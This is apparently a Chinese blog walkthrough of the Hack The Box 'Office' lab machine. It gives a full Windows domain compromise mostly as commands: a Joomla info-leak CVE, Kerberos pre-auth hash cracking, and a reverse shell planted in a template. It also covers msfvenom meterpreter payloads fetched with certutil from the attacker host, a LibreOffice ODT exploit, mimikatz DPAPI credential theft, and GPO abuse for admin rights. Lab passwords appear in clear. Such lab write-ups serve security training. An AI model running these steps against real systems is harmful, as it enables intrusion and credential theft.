htb_office

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已于 2024-06-08 21:47:29 修改

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分类专栏： hack the box 文章标签： linux

于 2024-06-08 20:57:56 首次发布

本文链接：https://blog.csdn.net/weixin_62621015/article/details/139550914

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端口扫描

namp -sSVC 10.10.11.13

80，445

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80端口

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robots.txt

只有/administrator可以访问

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Joomla

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joomscan扫描

 joomscan --url http://10.10.11.3/

版本为4.2.7，存在cve
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CVE-2023-23752 Joomla未授权访问Rest API漏洞

访问路径

/api/index.php/v1/config/application?public=true

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H0lOgrams4reTakIng0Ver754!

尝试登录445端口smb服务

./kerbrute_linux_386 userenum --dc 10.10.11.3 -d office.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

先收集下用户名

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多次尝试后发现用户名是dwolfe

smbclient -L //10.10.11.3/ -U dwolfe%H0lOgrams4reTakIng0Ver754!

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smbclient //10.10.11.3/SOC\ Analysis -U dwolfe%H0lOgrams4reTakIng0Ver754!

将网络包下载下来

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用wireshark打开
过滤出来有两个kerberos流量包

第二个数据包有关键信息

Frame 1917: 323 bytes on wire (2584 bits), 323 bytes captured (2584 bits) on interface unknown, id 0
 Section number: 1
 Interface id: 0 (unknown)
 Interface name: unknown
 Encapsulation type: Ethernet (1)
 Arrival Time: May 7, 2023 20:57:21.409088000 EDT
 UTC Arrival Time: May 8, 2023 00:57:21.409088000 UTC
 Epoch Arrival Time: 1683507441.409088000
 [Time shift for this packet: 0.000000000 seconds]
 [Time delta from previous captured frame: 0.000000000 seconds]
 [Time delta from previous displayed frame: 0.120607000 seconds]
 [Time since reference or first frame: 7.803090000 seconds]
 Frame Number: 1917
 Frame Length: 323 bytes (2584 bits)
 Capture Length: 323 bytes (2584 bits)
 [Frame is marked: False]
 [Frame is ignored: False]
 [Protocols in frame: eth:ethertype:ip:tcp:kerberos]
 [Coloring Rule Name: TCP]
 [Coloring Rule String: tcp]
Ethernet II, Src: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70), Dst: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
 Destination: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
 Address: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
 .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
 .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
 Source: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70)
 Address: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70)
 .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
 .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
 Type: IPv4 (0x0800)
Internet Protocol Version 4, Src: 10.250.0.41, Dst: 10.250.0.30
 0100 .... = Version: 4
 .... 0101 = Header Length: 20 bytes (5)
 Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
 0000 00.. = Differentiated Services Codepoint: Default (0)
 .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
 Total Length: 309
 Identification: 0x6fd1 (28625)
 010. .... = Flags: 0x2, Don't fragment
 0... .... = Reserved bit: Not set
 .1.. .... = Don't fragment: Set
 ..0. .... = More fragments: Not set
 ...0 0000 0000 0000 = Fragment Offset: 0
 Time to Live: 64
 Protocol: TCP (6)
 Header Checksum: 0xb3b7 [validation disabled]
 [Header checksum status: Unverified]
 Source Address: 10.250.0.41
 Destination Address: 10.250.0.30
Transmission Control Protocol, Src Port: 33550, Dst Port: 88, Seq: 1, Ack: 1, Len: 257
 Source Port: 33550
 Destination Port: 88
 [Stream index: 23]
 [Conversation completeness: Complete, WITH_DATA (63)]
 ..1. .... = RST: Present
 ...1 .... = FIN: Present
 .... 1... = Data: Present
 .... .1.. = ACK: Present
 .... ..1. = SYN-ACK: Present
 .... ...1 = SYN: Present
 [Completeness Flags: RFDASS]
 [TCP Segment Len: 257]
 Sequence Number: 1 (relative sequence number)
 Sequence Number (raw): 73981869
 [Next Sequence Number: 258 (relative sequence number)]
 Acknowledgment Number: 1 (relative ack number)
 Acknowledgment number (raw): 527117312
 1000 .... = Header Length: 32 bytes (8)
 Flags: 0x018 (PSH, ACK)
 000. .... .... = Reserved: Not set
 ...0 .... .... = Accurate ECN: Not set
 .... 0... .... = Congestion Window Reduced: Not set
 .... .0.. .... = ECN-Echo: Not set
 .... ..0. .... = Urgent: Not set
 .... ...1 .... = Acknowledgment: Set
 .... .... 1... = Push: Set
 .... .... .0.. = Reset: Not set
 .... .... ..0. = Syn: Not set
 .... .... ...0 = Fin: Not set
 [TCP Flags: ·······AP···]
 Window: 502
 [Calculated window size: 64256]
 [Window size scaling factor: 128]
 Checksum: 0x5431 [unverified]
 [Checksum Status: Unverified]
 Urgent Pointer: 0
 Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
 TCP Option - No-Operation (NOP)
 Kind: No-Operation (1)
 TCP Option - No-Operation (NOP)
 Kind: No-Operation (1)
 TCP Option - Timestamps
 Kind: Time Stamp Option (8)
 Length: 10
 Timestamp value: 2838742891: TSval 2838742891, TSecr 3650590
 Timestamp echo reply: 3650590
 [Timestamps]
 [Time since first frame in this TCP stream: 0.000507000 seconds]
 [Time since previous frame in this TCP stream: 0.000000000 seconds]
 [SEQ/ACK analysis]
 [iRTT: 0.000507000 seconds]
 [Bytes in flight: 257]
 [Bytes sent since last PSH flag: 257]
 TCP payload (257 bytes)
 [PDU Size: 257]
Kerberos
 Record Mark: 253 bytes
 0... .... .... .... .... .... .... .... = Reserved: Not set
 .000 0000 0000 0000 0000 0000 1111 1101 = Record Length: 253
 as-req
 pvno: 5
 msg-type: krb-as-req (10)
 padata: 2 items
 PA-DATA pA-ENC-TIMESTAMP
 padata-type: pA-ENC-TIMESTAMP (2)
 padata-value: 3041a003020112a23a0438a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
 etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
 cipher: **a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc**
 PA-DATA pA-PAC-REQUEST
 padata-type: pA-PAC-REQUEST (128)
 padata-value: 3005a0030101ff
 include-pac: True
 req-body
 Padding: 0
 kdc-options: 50800000
 0... .... = reserved: False
 .1.. .... = forwardable: True
 ..0. .... = forwarded: False
 ...1 .... = proxiable: True
 .... 0... = proxy: False
 .... .0.. = allow-postdate: False
 .... ..0. = postdated: False
 .... ...0 = unused7: False
 1... .... = renewable: True
 .0.. .... = unused9: False
 ..0. .... = unused10: False
 ...0 .... = opt-hardware-auth: False
 .... 0... = unused12: False
 .... .0.. = unused13: False
 .... ..0. = constrained-delegation: False
 .... ...0 = canonicalize: False
 0... .... = request-anonymous: False
 .0.. .... = unused17: False
 ..0. .... = unused18: False
 ...0 .... = unused19: False
 .... 0... = unused20: False
 .... .0.. = unused21: False
 .... ..0. = unused22: False
 .... ...0 = unused23: False
 0... .... = unused24: False
 .0.. .... = unused25: False
 ..0. .... = disable-transited-check: False
 ...0 .... = renewable-ok: False
 .... 0... = enc-tkt-in-skey: False
 .... .0.. = unused29: False
 .... ..0. = renew: False
 .... ...0 = validate: False
 cname
 name-type: kRB5-NT-PRINCIPAL (1)
 cname-string: 1 item
 CNameString: tstark
 realm: OFFICE.HTB
 sname
 name-type: kRB5-NT-PRINCIPAL (1)
 sname-string: 2 items
 SNameString: krbtgt
 SNameString: OFFICE.HTB
 till: May 8, 2023 20:57:21.000000000 EDT
 rtime: May 8, 2023 20:57:21.000000000 EDT
 nonce: 369478355
 etype: 1 item
 ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)

尝试使用hashcat破解

先看看用哪个模式

发现有9个，对应的etype不同

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这里是18

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分别是19700和19900

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正好上面etype写了是aes256

选19700

$krb5tgs$18$user$realm$8efd91bb01cc69dd07e46009$7352410d6aafd72c64972a66058b02aa1c28ac580ba41137d5a170467f06f17faf5dfb3f95ecf4fad74821fdc7e63a3195573f45f962f86942cb24255e544ad8d05178d560f683a3f59ce94e82c8e724a3af0160be549b472dd83e6b80733ad349973885e9082617294c6cbbea92349671883eaf068d7f5dcfc0405d97fda27435082b82b24f3be27f06c19354bf32066933312c770424eb6143674756243c1bde78ee3294792dcc49008a1b54f32ec5d5695f899946d42a67ce2fb1c227cb1d2004c0

根据流量包里的数据，仿照格式得到如下密钥

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$krb5tgs$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc

hashcat -m 19700 "$krb5tgs$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc"

报错

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回头看了下，才发现19700是TGS-REP，但流量包是预身份认证的数据，应该用19900

= =（第一次用不太熟练）

$krb5pa$18$hashcat$HASHCATDOMAIN.COM$96c289009b05181bfd32062962740b1b1ce5f74eb12e0266cde74e81094661addab08c0c1a178882c91a0ed89ae4e0e68d2820b9cce69770

同样根据格式修改数据

$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc

hashcat.exe -m 19900 "$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc" rockyou.txt

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playboy69

尝试登录joomla

tstark/playboy69 登录失败

逐个尝试刚刚kerbrute收集到的用户名

最后试出来是administrator/playboy69

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熟门熟路

system->site templates

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修改error.php为反弹shell代码

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访问error.php

反弹

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得到shell，但是只有web_account权限

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因为有tstark用户的账号密码，尝试登录tstark用户

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.29 LPORT=4444 -f exe -o payload.exe

certutil -urlcache -split -f http://10.10.14.29:8888/RunasCs.exe
certutil -urlcache -split -f http://10.10.14.29:8888/payload.exe

RunasCs.exe tstark playboy69 payload.exe

得到tstark权限的shell
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netstat -ano

开放了8083端口

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转发出来

certutil -urlcache -split -f http://10.10.14.29:8888/chiselw.exe
chiselw.exe client 10.10.14.29:6150 R:8083:127.0.0.1:8083

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访问

是一个上传职位申请的页面
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发现上传文件有限制，但是可以上传odt文件

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htb另一个靶场mailing里有做过这个

CVE-2023-2255

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.29 LPORT=3333 -f exe -o payload1.exe

certutil -urlcache -split -f http://10.10.14.29:8899/payload1.exe

python3 CVE-2023-2255.py --cmd  'C:\Users\Public\payload1.exe' --output pay2.odt

上传pay2.odt，稍等一会，就反弹回来了

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下面都是跟着教程做的

DPAPI - Extracting Passwords | HackTricks | HackTricks

cmdkey /list

横向移动到HHogan

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上传mimikatz

certutil -urlcache -split -f   http://10.10.14.29:8899/mimikatz.exe

vault::list

列出vault位置
（这一步不懂有啥用）
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列出Credential Files（凭据文件）

dir /a:h C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\

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列出主密钥
Master Keys

用于加密用户的 RSA 密钥的 DPAPI 密钥存储在目录下，其中 {SID} 是该用户的安全标识符。DPAPI
密钥与保护用户私钥的主密钥存储在同一文件中。它通常是 64 字节的随机数据。（请注意，此目录是受保护的，因此您不能使用 cmd 列出它，但可以从 PS 列出它）。%APPDATA%\Microsoft\Protect\{SID}``dir

powershell   Get-ChildItem C:\Users\ppotts\AppData\Roaming\Microsoft\Protect\

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powershell Get-ChildItem -Hidden C:\Users\ppotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107

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解密用户的主密钥

dpapi::masterkey /in:"C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb" /rpc

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使用用户解密的主密钥来解密凭据

dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4

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得到密码
H4ppyFtW183#

netstat -ano

靶机开放5985端口，使用Evil-winrm远程连接

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└─# evil-winrm -i 10.10.11.3 -u "hhogan" -p "H4ppyFtW183#"

使用BloodHound导出域间关联数据

bloodhound-python -c ALL -u tstark -p 'playboy69' -d office.htb -dc dc.office.htb -ns 10.10.11.3

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导入本地bloodhound中查看，发现存在GPO Manager组（忘记截图了）

列出GPO组名

Get-GPO -All | Select-Object -ExpandProperty DisplayName

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上传SharpGPOAbuse

利用用户对组策略对象（GPO）的编辑权限，以破坏由该 GPO 控制的对象。

certutil -urlcache -split -f http://10.10.14.29:8899/SharpGPOAbuse.exe

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Controllers Policy"

添加HHogan为本地管理员组成员

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Options required to add a new local admin:
–UserAccount
设置需要添加进本地管理员组中的账号名称。
–GPOName
存在安全漏洞的GPO名称。样例:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName “Vulnerable GPO”

更新组策略